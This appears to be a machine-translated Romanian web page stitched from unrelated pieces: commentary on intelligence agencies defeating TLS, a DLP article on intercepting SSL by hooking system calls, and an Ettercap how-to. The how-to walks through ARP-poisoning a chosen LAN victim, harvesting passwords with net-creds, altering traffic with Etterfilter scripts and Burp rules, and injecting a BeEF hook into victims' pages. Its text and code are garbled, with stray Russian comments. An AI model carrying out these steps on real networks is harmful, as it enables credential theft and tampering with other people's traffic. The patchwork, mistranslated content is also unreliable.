Meniul
AcasăRețea socială

Interceptarea datelor de la o conexiune SSL (citirea e-mailurilor utilizatorilor LAN prin https). Instrucțiuni Ettercap: atac man-in-the-middle (MitM), interceptarea parolei, ocolire HSTS, înlocuire de date din mers, utilizarea filtrelor și pluginurilor personalizate, conectarea la

În ultimii ani, a avut loc o inversare a tendinței în strategia atacurilor serviciilor de informații asupra celui mai important protocol de securitate pentru Internet, TLS/SSL. De acum înainte, un atac criptografic direct și hacking nu mai este doar o măsură extremă, ci adesea inutilă în lumea modernă, unde banii și câștigurile financiare devin principala forță motrice.

Datorită importanței acestei probleme, ca parte a unei serii de publicații, site-ul oferă o privire de ansamblu asupra securității stivei de protocoale TLS/SSL, examinând în același timp strategii consistente și sistematice pentru slăbirea acestor protocoale de către agențiile de informații.

O treime din traficul securizat al lumii este generat prin mijloace criptografice cu un PRNG slăbit în mod deliberat?

Eliminat de pe canal

Ca punct de plecare, să ne întoarcem la exemplul rusesc - cea mai recentă ședință de judecată în cazul fostului proprietar al sistemului de plăți Chronopay Pavel Vrublevsky, acuzat de un atac DDoS împotriva Aeroflot.

Esența complotului cheie a fost că instanța a solicitat corespondență internă între participanții la acest proces penal, pe care aceștia au desfășurat-o prin conturi personale de pe Facebook. În ciuda faptului că conținea informații vitale incriminatoare, insidiosa rețea de socializare americană nu a ascultat cererea justiției ruse și a refuzat accesul la corespondența privată a cetățenilor ruși. Și aici are loc punctul de cotitură foarte dramatic din această poveste - FSB, în executarea deciziei judecătorești, „obține” în mod independent corespondența acestor cetățeni.

„CIB FSB, în conformitate cu Legea „Cu privire la activitățile operaționale de investigare”, a colectat în mod independent informații de pe canalele de comunicare ale persoanelor indicate și le-a înregistrat pe un DVD.”

Într-adevăr, apărarea a putut verifica ulterior că corespondența personală necesară a fost „înlăturată din rețea în întregime și în volum” împotriva voinței Facebook. Totodată, înșiși inculpații din acest dosar au negat că au furnizat anchetei parolele și corespondența de autoincriminare. Pe RuNet puteți găsi titluri de știri strălucitoare precum „Serverele Facebook piratate de FSB din Rusia”, dar nu ar trebui să sari prea departe cu concluziile tale.

În primul rând, toate sesiunile de comunicare cu Facebook sunt efectuate exclusiv prin protocolul de comunicare securizat HTTPS. În al doilea rând, a trecut destul de mult timp de la ultimele contacte între inculpați și această hotărâre judecătorească (și, în consecință, acțiunile de investigație ale FSB pentru a pune în aplicare această decizie). Din ce fel de „canal” ar putea fi „șterse” aceste „date din trecut” dacă inculpații înșiși nu au mai fost online de atunci, fiind cercetați?

Ei au ignorat aceste întrebări directe adresate la proces reprezentanților FSB. Cea mai evidentă versiune a răspunsului s-a sugerat de la sine: traficul HTTPS cu această corespondență a fost capturat/salvat în prealabil de către FSB și cumva piratat ulterior.

Este interesant că un caz aproape similar a fost înregistrat mai devreme în materialele aceluiași caz. FSB CIB, invocând protocolul de investigație, „prin salvarea și analizarea traficului de conexiune la internet al unuia dintre acuzați, a recuperat login-ul și parola de la panoul de control al botnetului” (aflat fizic pe un server din SUA), apoi a confiscat la distanță. control asupra acestei rețele bot. Așadar, accesul la același panou web a fost efectuat de acuzat, din nou exclusiv printr-o conexiune HTTPS criptată, cu respectarea măsurilor de precauție (de exemplu, fără a salva parolele pe computerul său local).

Astfel, menționăm prezența unor probleme cu securitatea HTTPS, invocând cazuri izbitoare de depășire a „protecției” TLS/SSL de către serviciile de informații rusești.

mod de operare

Pentru a pirata o sesiune HTTPS criptată, va trebui să rezolvați două probleme principale: să puteți asculta (intercepta) traficul și, de asemenea, să puteți decripta datele încapsulate într-un astfel de pachet protejat.

Nu ne vom opri în detaliu asupra primului punct, deoarece serviciile speciale au acces fizic la aproape orice canale. Cei care urmăresc ultimele știri de la SORMostroeniya sunt deja conștienți că, în conformitate cu noua lege, de la 1 iulie 2014, toți furnizorii ruși sunt obligați să instaleze echipamente speciale în rețelele lor pentru a-și înregistra și stoca integral traficul de internet de tranzit pentru o perioadă. cel putin 12 ore. Mai mult, forțele de securitate vor avea acces direct la toate seturile de date stocate și de tranzit.

Gmail îmi scrie: „Este posibil ca contul sau computerul tău să fi fost compromis de hackeri susținuți de guvern”

— Roman Dobrokhotov (@Dobrokhotov) 9 septembrie 2014

Dacă vorbim despre ascultarea sesiunilor HTTPS, vom remarca imediat un punct important - necesitatea unui „mod activ” de ascultare în unele cazuri, deoarece traficul salvat nu poate fi întotdeauna piratat ulterior. Vorbim despre așa-numitul mod forward secrecy (FS) pentru protocolul HTTPS, care împiedică posibilitatea recuperării datelor după încheierea sesiunii de comunicare (chiar dacă atacatorul poate obține ulterior chei valide de site). Prezența unui astfel de mod obligă atacatorul să „lovească în timp ce fierul este fierbinte” - adică să pirateze datele în timp real, ceea ce în marea majoritate a cazurilor nu este posibil din punct de vedere tehnic.

Vestea proastă este că Facebook, precum și majoritatea celorlalte portaluri de internet majore, nu folosesc secretul direct, deoarece creează o povară serioasă suplimentară pentru o rețea socială deja suprasolicitată. În plus, utilizarea unor astfel de algoritmi DH avansați poate afecta negativ compatibilitatea cu unele browsere populare. Acum este ușor de înțeles de ce, conform statisticilor Netcraft din vara anului 2013, aproximativ 70-99% din conexiunile SSL observate în această monitorizare nu foloseau deloc FS.

Adică, în marea majoritate a cazurilor, un atacator vă poate salva în siguranță traficul HTTPS pentru picking și hacking ulterior (de exemplu, atunci când cheia serverului privat devine cunoscută).

Mai sus este o măsurare a scăderii performanței pe un procesor de server web cu 6 nuclee cu modul DHE activat și dezactivat. DHE este selectat drept cel mai popular și exemplar exemplu de implementare a Perfect Forward Secrecy. De exemplu, Google, ale cărui servicii acceptă aproape toate cripto-inovațiile și mijloacele de protejare a utilizatorilor săi (aceasta este o excepție izbitoare de la practica generală a internetului), implementează chei de sesiune PFS de scurtă durată („efemere”) bazate pe ECDHE_RSA. Și aceasta este o plăcere foarte, foarte scumpă, credeți-mă!

Ținând cont de această remarcă, vom presupune că totul este mai mult sau mai puțin clar cu interceptarea traficului. Acum să ne uităm la ce să facem în continuare cu fluxul criptat salvat.

Se pare că algoritmul general în acest caz va arăta cam așa: atunci când traficul de sesiune HTTPS de interes este interceptat de serviciile de informații ipotetice, sistemul lor de informații primește o solicitare de căutare a cheii serverului corespunzătoare în baza sa de date. Dacă o astfel de cheie nu este găsită, este pusă în coadă pentru calcule suplimentare (cracare). Ținând cont de observația despre indisponibilitatea efectivă a opțiunii FS, este întotdeauna logic să acumulăm (înregistrați) în tăcere traficul de interes, fără a aștepta ca sistemul să reacționeze la disponibilitatea/disponibilitatea cheii pentru decriptare în timp real.

În ceea ce privește baza de date menționată a cheilor de server, în vara anului 2013, Cnet a publicat informații și un exemplu de document al unei cereri NSA către o mare companie de internet care dorea să rămână anonimă. Potrivit acestei surse, a devenit cunoscut faptul că alte platforme mari de internet (Google, Microsoft, Apple, Yahoo, AOL, Verizon, AT&T etc.) au primit aceleași solicitări. Cnet a contactat oficial aceste organizații cu o solicitare de a comenta asupra faptului unei astfel de solicitări, dar în marea majoritate a cazurilor, companiile au refuzat fie să confirme, fie să infirme o astfel de interacțiune cu ANS.

„Încă o dată îmi șterg picioarele de mitul că sursa deschisă este calea către fiabilitate. Această eroare în Debian OpenSSL avea aproape doi ani."

Într-adevăr, această vulnerabilitate a fost închisă abia după un scandal în presă. Proiectul Debian însuși a numit situația cu o eroare de lungă durată în depozitul său OpenSSL „o poveste destul de ciudată”.

Dacă vorbim despre notoriile „marcaje” hardware, atunci recent au înflorit sălbatic în cele mai neașteptate locuri: de la fier de călcat la aparate de cafea. Astfel, potrivit lui Spiegel, departamentul special al NSA „Operațiuni de acces adaptate” (TAO) a efectuat pentru o lungă perioadă de timp interceptarea în masă a echipamentelor informatice (și a altor) achiziționate de o varietate de companii și țări pe drumul de la furnizor la destinatar. . În același timp, echipamentul interceptat, expediat unui client de interes pentru NSA, a trecut rapid prin „fabrica” secretă a TAO, unde au fost introduse în ea software-ul modificat sau „bug-uri”. O astfel de interferență în procesul de aprovizionare în scopuri proprii, desemnată prin termenul special „interdicție”, a fost evaluată de către NSA însăși drept unul dintre „cele mai eficiente tipuri de operațiuni moderne”.

NSA intenționează să infecteze potențial milioane de computere cu malware, ca parte a operațiunilor sale de acces personalizate

Printre sarcinile securității informațiilor, lupta împotriva scurgerilor de informații confidențiale devine din ce în ce mai importantă. Potrivit surselor deschise, în ultimul 2016 numărul de scurgeri a crescut cu 86%, iar 47% dintre companiile rusești de diferite profiluri s-au confruntat cu această problemă. Această problemă este rezolvată folosind sisteme de clasă DLP (Data Loss Prevention). Articolul discută despre implementarea unuia dintre modulele unui astfel de sistem, care asigură monitorizarea traficului SSL/TLS prin interceptarea funcțiilor sistemului Windows.

Combaterea scurgerilor de informații importante necesită monitorizarea traficului de rețea. Aceasta implică analiza tuturor datelor transmise prin rețea într-o varietate de moduri, inclusiv datele transmise criptate prin protocolul SSL/TLS.

Interceptarea datelor transmise prin protocolul SSL/TLS este posibilă folosind un atac man-in-the-middle (sau MITM pe scurt). Pentru a face acest lucru, sistemul de monitorizare acționează ca un intermediar între client și server. Toate informațiile de la client ajung mai întâi la intermediar (adică, sistemul de monitorizare), apoi sunt redirecționate către server. În schimb, toate informațiile de la server ajung mai întâi la intermediar și apoi sunt transmise clientului.

Fig 1. Atacul omului din mijloc


Cel mai simplu mod de a „introduce” un intermediar se bazează pe utilizarea unui server intermediar (server proxy). În acest caz, clientul și serverul nu comunică direct. Clientul trimite toate cererile către un server intermediar, care le transmite către serverul real. În mod similar, serverul real trimite răspunsuri către un server intermediar, care le transmite către client.

Dacă datele sunt transferate folosind SSL/TLS, atunci ambele conexiuni (de la client la serverul intermediar și de la serverul intermediar la serverul real) sunt securizate. Ambele conexiuni folosesc propriul certificat și propria lor cheie privată. Serverul intermediar deține cheile private pentru ambele conexiuni și „recriptează” datele: primește datele criptate, le decriptează, le criptează cu o altă cheie privată și, în final, le trimite. Astfel, serverul intermediar are toate datele transmise în formă necriptată.

Utilizarea unui server de staging are două dezavantaje importante. În primul rând, poate fi prea vizibil pentru utilizatorul final. În al doilea rând, dacă serverul intermediar rulează pe mașina client, atunci la nivelul sistemului de operare numărul de conexiuni de rețea deschise se dublează. Acest lucru creează o încărcare suplimentară asupra subsistemului de rețea al sistemului de operare și poate duce la eșecuri în cazurile în care sunt necesare un număr mare de conexiuni de rețea deschise simultan.

Interceptarea apelurilor de funcții ale sistemului oferă o modalitate mai elegantă și mai discretă de a implementa un om-in-the-middle. Pentru a face acest lucru, sistemul de monitorizare se conectează la un proces care rulează deja și înlocuiește funcțiile sistemului utilizate în timpul interacțiunii cu rețeaua. În plus, atunci când procesul accesează funcțiile sistemului interceptat, controlul este transferat sistemului de monitorizare. Astfel, controlează complet activitățile de rețea ale procesului și poate acționa ca intermediar în interacțiunea procesului cu un server la distanță.


Figura 2. Atacul Man-in-the-middle folosind o bibliotecă middleware care interceptează funcțiile sistemului


Lansarea sistemului de monitorizare a traficului SSL/TLS are loc în trei pași simpli:
1. Conectați-vă la procesul client specificat (se folosesc capabilități standard ale sistemului de operare).
2. Încărcarea unei biblioteci intermediare dinamice, care implementează propriile funcții de interacțiune în rețea.
3. Configurarea interceptării funcțiilor de interacțiune a rețelei astfel încât atunci când aceste funcții sunt apelate, apelul să se facă nu la funcții de sistem, ci la funcții implementate în biblioteca încărcată.

Biblioteca de mediere are aceleași capacități ca și serverul intermediar. Astfel, toate informațiile din aplicația client ajung mai întâi la biblioteca intermediară, apoi sunt redirecționate către serverul real. În schimb, toate informațiile de pe serverul real ajung mai întâi la biblioteca intermediară și apoi sunt transmise aplicației.


Fig 3. Interceptarea datelor de către o bibliotecă intermediară


Pentru a interacționa cu serverul, biblioteca intermediară utilizează funcții și mecanisme standard ale sistemului. Dacă informațiile sunt transmise folosind SSL/TLS, atunci se utilizează o conexiune securizată, care este stabilită de biblioteca intermediară. Odată stabilită conexiunea, biblioteca intermediară „știe” cheia privată utilizată pentru a cripta/decripta datele.

Interacțiunea cu aplicația client are loc într-un mod ușor diferit. O bibliotecă proxy preia controlul atunci când o aplicație client apelează o funcție de rețea. Dacă funcția apelată are argumente de intrare, atunci biblioteca middleware primește valorile acelor argumente. În continuare, biblioteca intermediară „emulează” funcționarea acestei funcții și, dacă funcția are argumente de ieșire, atunci biblioteca intermediară generează valorile acestor argumente. Această logică se aplică absolut tuturor funcțiilor interceptate, inclusiv funcțiilor de stabilire a unei conexiuni, transmitere de date și primire de răspunsuri de server.

Biblioteca intermediară interacționează simultan atât cu aplicația client, cât și cu serverul la distanță. Logica de operare depinde de acțiunile efectuate de aplicația client:

1. Stabilirea unei noi conexiuni la rețea are loc după cum urmează:
- aplicația apelează funcția de sistem necesară;
- apelul este transmis bibliotecii intermediare;
- biblioteca intermediară stabilește o conexiune cu serverul și realizează în mod independent toate acțiunile prevăzute de protocolul SSL/TLS: verificarea certificatului de server, trimiterea unui certificat propriu, strângere de mână, generarea unei chei private etc.
- biblioteca intermediară returnează controlul aplicației;
- aplicația realizează toate acțiunile necesare pentru a stabili o conexiune prin protocolul SSL/TLS, apelând funcții de comunicare în rețea. Biblioteca de mediere interceptează toate aceste apeluri, dar nu efectuează niciun apel către serverul real, ci „răspunde” aplicației în sine. Din punctul de vedere al aplicației, totul arată ca și cum ar exista interacțiune cu un server real (inclusiv o strângere de mână și generarea unei chei private).
Ca urmare a acestor acțiuni, biblioteca intermediară are două chei private ale protocolului SSL/TLS simultan. O cheie este folosită pentru a interacționa cu aplicația, cealaltă este folosită pentru a interacționa cu serverul.

2. Pentru a transfera date pe server, aplicația apelează o funcție de sistem. Datele deja criptate sunt transmise la intrarea funcției. Biblioteca middleware interceptează acest apel și face următoarele:
- decriptează datele transmise folosind cheia privată primită la stabilirea unei conexiuni cu aplicația;
- criptează datele primite folosind cheia privată primită la stabilirea unei conexiuni cu serverul;
- trimite date criptate către server.

3. Primirea datelor de la server are loc într-un mod similar, dar în ordine inversă. Aplicația apelează funcția de obținere a datelor, iar biblioteca middleware interceptează acest apel și face următoarele:
- primește o porțiune de date de la server;
- decriptează datele primite folosind cheia privată primită la stabilirea unei conexiuni cu serverul;
- criptează datele primite folosind cheia privată primită la stabilirea unei conexiuni cu aplicația;
- returnează date criptate (sau o parte din acestea) ca rezultat al funcției.

4. Când conexiunea este pierdută, aplicația apelează funcția corespunzătoare. Biblioteca middleware interceptează acest apel, închide conexiunea la server, îndepărtează structurile sale interne și readuce controlul aplicației.

Implementarea tehnică a metodei propuse de interceptare a traficului prezintă o serie de dificultăți. O aplicație poate folosi diverse metode de comunicare în rețea (mod blocare și neblocare, modul de funcționare asincron etc.). Într-un sistem de monitorizare cu drepturi depline, este necesar să se ia în considerare toate scenariile posibile de comportament al aplicației. În caz contrar, sistemul de monitorizare va fi inoperant.

Problema mai serioasă este că prezența unei biblioteci intermediare poate fi vizibilă pentru un utilizator cu putere. Biblioteca proxy „răspunde” aplicației în numele serverului, dar folosește propriul certificat autosemnat. Multe aplicații client (cum ar fi browserele de internet) funcționează corect cu certificatul autosemnat al serverului, dar vă permit întotdeauna să îl vizualizați. Dacă utilizatorul vede un certificat autosemnat care nu are nimic de-a face cu serverul real, atunci utilizatorul poate suspecta prezența unui intermediar.

În general, metoda propusă pentru monitorizarea traficului TLS/SSL este extrem de eficientă din mai multe motive. În primul rând, biblioteca acționează ca un intermediar cu drepturi depline între aplicație și server. Acesta controlează pe deplin toată activitatea de rețea a aplicației și toate datele trimise/primite. În al doilea rând, implementarea unei biblioteci intermediare nu necesită resurse semnificative de sistem. În cele din urmă, prezența unei biblioteci intermediare este vizibilă doar pentru un utilizator experimentat.

Alternative la Ettercap

Ettercap este cel mai popular software de atac man-in-the-middle, dar este cel mai bun? Pe parcursul întregului instrucțiuni, veți vedea că Ettercap nu este aproape niciodată folosit singur, că unul sau altul program este întotdeauna construit cu el într-un lanț de procesare a traficului. Poate că acest lucru adaugă flexibilitate în general, această abordare este baza UNIX - un program realizează o sarcină, iar utilizatorul final combină diverse programe pentru a obține rezultatul dorit. Cu această abordare, codul programului este mai ușor de întreținut din astfel de „cărămizi” în miniatură, puteți construi un sistem de orice complexitate și flexibilitate. Cu toate acestea, a avea cinci console deschise cu sarcini diferite, ale căror programe au ca scop obținerea unui singur rezultat, nu este foarte convenabil, este pur și simplu mai complicat, există posibilitatea de a face o greșeală la un moment dat și întregul configurat. sistemul va funcționa în zadar.

Net-Creds adulmecă:

  • Adrese URL vizitate
  • Solicitări POST trimise
  • autentificări/parole din formularele HTTP
  • autentificare/parole pentru autentificarea HTTP de bază
  • Căutări HTTP
  • Autentificare/parole FTP
  • Login-uri/parole IRC
  • Login-uri/parole POP
  • Autentificare/parole IMAP
  • Autentificare/parole Telnet
  • Autentificare/parole SMTP
  • Șirul comunității SNMP
  • toate protocoalele NTLMv1/v2 acceptate, cum ar fi HTTP, SMB, LDAP etc.
  • Kerberos

O selecție bună de cele interceptate, iar rețeaua în derivă este mai simplă în acest sens - arată doar imagini interceptate.

Comutați aparatul în modul de redirecționare.

Echo „1” > /proc/sys/net/ipv4/ip_forward

Lansați Ettercap cu o interfață grafică (-G):

Ettercap-G

Acum selectați Gazde, există un sub-element Scanare pentru gazde. După finalizarea scanării, selectați Lista gazde:

Ca Target1, selectați routerul (Add to Target 1), ca Target2 selectați dispozitivul pe care îl veți ataca (Add to Target 2).

Dar aici poate apărea prima problemă, mai ales dacă sunt multe gazde. În diverse instrucțiuni, inclusiv în videoclipul prezentat mai sus, autorii se urcă în mașina țintă (toată lumea, dintr-un motiv oarecare, are Windows) și, folosind comanda, se uită la IP-ul acestei mașini în rețeaua locală. De acord, această opțiune este inacceptabilă în condiții reale.

Dacă scanați folosind , puteți obține câteva informații suplimentare despre gazde sau, mai precis, despre producătorul plăcii de rețea:

Nmap -sn 192.168.1.0/24

Dacă datele încă nu sunt suficiente, atunci puteți face o scanare pentru a determina sistemul de operare:

Nmap -O 192.168.1.0/24

După cum putem vedea, mașina cu IP 192.168.1.33 s-a dovedit a fi Windows, dacă acesta nu este un semn de sus, atunci ce este? 😉 LOL

Acesta este ceea ce adăugăm ca al doilea obiectiv.

Acum accesați elementul de meniu Mitm. Acolo, selectați Otrăvire ARP... Bifați caseta pentru conexiuni la distanță Sniff.

Începem să recoltăm, într-o fereastră lansăm

Net-cred-uri

în altul (ambele programe pot fi rulate fără opțiuni)

Plasa in deriva

Colectarea datelor a început imediat:

În partea dreaptă, driftnet a deschis o altă fereastră în care arată imaginile interceptate. În fereastra net-creds vedem site-uri vizitate și parole interceptate:

1.2 Ettercap + Burp Suite
3. Vizualizați datele (site-urile vizitate și parolele capturate) în Ettercap

În meniul View avem acces la filele Conexiuni și Profiluri. De asemenea, puteți bifa caseta Rezolvare adrese IP. Conexiunile sunt, desigur, conexiuni. Ettercap colectează profiluri în memorie pentru fiecare gazdă pe care o descoperă. Utilizatorii și parolele sunt colectate acolo. În acest caz, profilurile cu date de cont capturate (parole) sunt marcate cu o cruce:

Nu este nevoie să vă bazați prea mult pe profiluri - de exemplu, login-urile și parolele interceptate pentru FTP și alte servicii sunt marcate, pentru care programul poate interpreta clar informațiile primite ca acreditări. Aceasta nu include, de exemplu, datele de autentificare de bază, datele de conectare și parolele introduse în formularele web.

În Connections, cele mai promițătoare date sunt marcate cu un asterisc:

Puteți face dublu clic pe aceste intrări pentru a vedea detalii:

Pentru a nu căuta aceste stele în lista, puteți sorta după acest câmp și toate vor apărea în partea de sus sau de jos:

Autentificare de bază prinsă:

Parola de conectare pentru Yandex (evidențiată mai jos):

Acestea sunt acreditările interceptate pentru VKontakte:

De asemenea, cele mai interesante date sunt colectate în consola inferioară:

Dacă doriți să salvați rezultatele programului, atunci utilizați aceste opțiuni (specificați cheile când porniți Ettercap:

Opțiuni de înregistrare: -w, --write scrieți datele capturate în pcapfile -L, --log scrieți tot traficul în acest -l, --log-info scrieți numai informații pasive în acest -m, --log-msg scrieți toate mesajele în acest -c, --compress folosește compresia gzip pentru fișierele jurnal

4. Înlocuirea datelor din mers în Ettercap
4.1 Utilizarea filtrelor personalizate Ettercap

Notă: În ciuda tuturor testelor, filtrele Ettercap încă nu au funcționat pentru mine. Este greu de înțeles dacă este o chestiune de mâini, caracteristici hardware sau o eroare în programul în sine... Dar pentru versiunea 0.8.2 (cea mai recentă în acest moment), există un raport de eroare despre problemele cu filtrele. În general, judecând după rapoartele de erori și forumuri, filtrele fie căd des sau nu au funcționat deloc de mult timp. Există o ramură în care s-au făcut modificări cu 5 luni în urmă https://github.com/Ettercap/ettercap/tree/filter-improvements, adică. filtru-îmbunătățiri (cu îmbunătățiri ale filtrului). Atât pentru această ramură, cât și pentru versiunea din depozit s-au făcut o mare varietate de teste, s-au testat diverse filtre în diferite condiții, s-a cheltuit mult timp, dar nu a existat niciun rezultat. Apropo, pentru a instala versiunea de îmbunătățire a filtrelor în Kali Linux, trebuie să faceți acest lucru:

Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENCSABLE_PDF_DO =On ../ make sudo make install

În general, dacă filtrele tale nu funcționează, atunci nu ești singur. În instrucțiunile despre Ettercap, nu pot sări peste subiectul filtrelor, așa că vor fi discutate în orice caz.

Până acum am folosit Ettercap pentru spoofing ARP. Aceasta este o aplicație foarte superficială. Datorită filtrelor personalizate, putem interveni și schimba traficul din mers. Filtrele trebuie să fie conținute în fișiere separate și trebuie compilate folosind programul Etterfilter înainte de utilizare. Deși documentația către care este dat linkul pare puțină, dar cuplată cu exemplele date mai jos, vă va permite să scrieți filtre destul de interesante.

Să creăm primul nostru filtru, acesta va înlocui toate imaginile cu acesta:

Într-un fișier numit img_replacer.filter copie:

Dacă (ip.proto == TCP && tcp.dst == 80) ( dacă (căutare(DATA.data, „Accept-Encoding”)) ( înlocuiți(„Accept-Encoding”, „Accept-Rubish!”); # notă: șirul de înlocuire are aceeași lungime ca și mesajul original("zapped Accept-Encoding!\n" ) ) if (ip.proto == TCP && tcp.src == 80) ( replace("src=", " src=\"http://www.irongeek.com/images/jollypwn.png\" "); înlocuiți("SRC=", "src=\"http://www.irongeek.com/images/jollypwn. png\" "); înlocuiți("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n" );

Compilați fișierul:

Etterfilter img_replacer.filter -o img_replacer.ef

Rezultate compilare:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 tabele de protocol încărcate: DATE DECODIFICATE udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constante încărcate: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP Fișier sursă PPTP ARPPOE Paring „img_replacer.filter” terminat. Desfășurarea meta-arborelui s-a terminat. S-a făcut conversia etichetelor în decalaje reale. S-a terminat scrierea ieșirii în „img_replacer.ef”. -> Script codificat în 18 instrucțiuni.

Comutatorul -F spune programului să încarce filtrul din fișierul care urmează comutatorului. După compilare, numele noului nostru fișier cu filtru este img_replacer.ef, deci comanda ia forma:

Ettercap -G -F img_replacer.ef

Notă: atunci când monitorizați traficul web, pachetele pe care le vedeți pot fi în formă criptată. Pentru ca filtrele să funcționeze eficient, Ettercap necesită trafic text simplu. Conform unor observații, tipul de codificare pe care îl folosesc paginile web este „Accept-Encoding: gzip, deflate”

Mai jos este un filtru care suprascrie codificarea, forțând comunicarea sub formă de text simplu:

Dacă (ip.proto == TCP && tcp.dst == 80) ( dacă (căutare(DATA.data, "gzip")) ( înlocuiți ("gzip", " "); # notă: patru spații în șirul înlocuit msg ("gzip albă\n" ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (căutare(DATA.data, "deflate")) ( înlocuiți("deflate", " "); # notează: șapte spații în linia înlocuită msg("deflate albite\n");

Sintaxa pentru scrierea filtrelor este descrisă în detaliu, iar apoi mai există câteva exemple:

# înlocuirea textului într-un pachet: if (ip.proto == TCP && search(DATA.data, "lol"))( replace ("lol", "smh"); msg ("filter run"); ) # show mesaj , dacă portul tcp este 22 if (ip.proto == TCP) ( dacă (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # scrieți întregul trafic telnet, executați de asemenea ./program pentru fiecare pachet dacă (ip.proto == TCP) ( dacă (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./ logfile.log "); exec("./program"); ​​​​) ) # înregistrează tot traficul, cu excepția http dacă (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( jurnal (DATA.data , "./logfile.log" ) # unele operații cu sarcină utilă de pachete if (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) else ( DATA.data = "modificat) "; DATE .data + 20 = 0x4445; ) # aruncați toate pachetele care conțin „ettercap” if (search(DECODED.data, „ettercap”)) ( msg(„cineva vorbește despre noi...\n”); drop(); kill(); # scrie pachete ssh decriptate care corespund expresiei regulate if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) # distrugerea pachetelor if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Înlocuirea datelor folosind Burp

Lansăm Ettercap și Burp așa cum este descris în paragraful 1.2 sau în paragraful 2.2.

În Burp, accesați Proxy -> Opțiuni. Găsim Match and Replace acolo. Faceți clic pe Adăugați pentru a adăuga o nouă regulă.

  • Antetul cererii este antetul cererii
  • Corpul solicitării - organismul solicitării
  • Antet răspuns - antet răspuns
  • Corp de răspuns - corp de răspuns
  • Solicitare nume parametru - Solicitare nume parametru
  • Solicitați valoarea parametrului - Solicitați valoarea parametrului
  • Prima linie a cererii - Prima linie a cererii

Dacă trebuie să modificați datele transmise prin metoda GET, atunci acest lucru se aplică antetelor.

În markup HTML există, de asemenea, un astfel de lucru ca head (etichetă head). Cele menționate mai sus nu au nimic de-a face cu acest titlu. Un pic mai sus vorbim despre antetele pachetelor. Dacă doriți să modificați conținutul unei pagini HTML, ar trebui să selectați întotdeauna Corpul răspunsului în loc de Antetul cererii, chiar dacă veți modifica conținutul etichetei head (de exemplu, titlul).

Dacă nu sunteți familiarizat cu expresiile regulate, atunci, în principiu, este în regulă: HTML iartă multe, iar ceea ce nu înțelege, pur și simplu ignoră - îl puteți folosi. Dacă știi să folosești expresiile regulate, atunci te respect.)))

De exemplu, să creăm o nouă regulă, să schimbăm antetul Cererii în Corpul răspunsului. În regula în sine ne vom schimba

.*

Fara titlu

Bifați caseta de potrivire Regex.

Acum, pe toate site-urile (fără HTTPS), titlul va fi Fără titlu:

Introduceți o linie arbitrară după eticheta body (va fi prima linie din text). Antetul cererii este schimbat în Corpul răspunsului. Noi schimbăm

Bifați caseta de potrivire Regex.

În colțul din dreapta sus (în funcție de aspect) apare inscripția „Sunt cool!”. Puteți insera CSS, cod JavaScript, orice text - orice. În general, puteți elimina totul din pagină și apoi umpleți-l cu propriul conținut - totul depinde de imaginația dvs.

Ideea a fost de a modifica ușor fiecare formular, astfel încât datele să fie trimise către serverul original și către serverul atacatorului (implementați multi-submit pentru fiecare formular). Dar având în vedere că, dacă datele transmise nu sunt criptate și avem acces la ele, atunci le vedem deja, nu este nevoie să le trimitem la niciun server. Cu toate acestea, dacă cineva are nevoie de un exemplu cu adevărat funcțional de trimitere a datelor de la un formular către mai multe servere simultan.

5. Conectare la BeEF

Pentru a începe să folosim capacitățile BeEF, trebuie să încorporam un fișier JavaScript în codul HTML, de obicei o linie ca:

Următoarele două metode diferă doar prin metoda de încorporare a acestui șir.

5.1 Conectarea BeEF folosind filtre Ettercap

[secțiunea va fi pregătită mai târziu]

5.2 Conectarea BeEF cu Burp

Trebuie să începeți exact așa cum este scris în paragraful 4.2. Numai în loc să înlocuim antetele și să adăugăm text pe site, vom implementa codul JavaScript sub forma unei linii:

În cazul meu, acest fișier este disponibil pe IP 192.168.1.36 pe portul 3000. Fișierul se numește hook.js (poate fi modificat în setări). Acestea. în cazul meu, trebuie să injectez linia:

Acest lucru se poate face, de exemplu, prin crearea unei noi reguli, schimbând antetul Cererii în Corpul răspunsului. Înlocuirea trebuie să aibă loc în codul HTML în sine

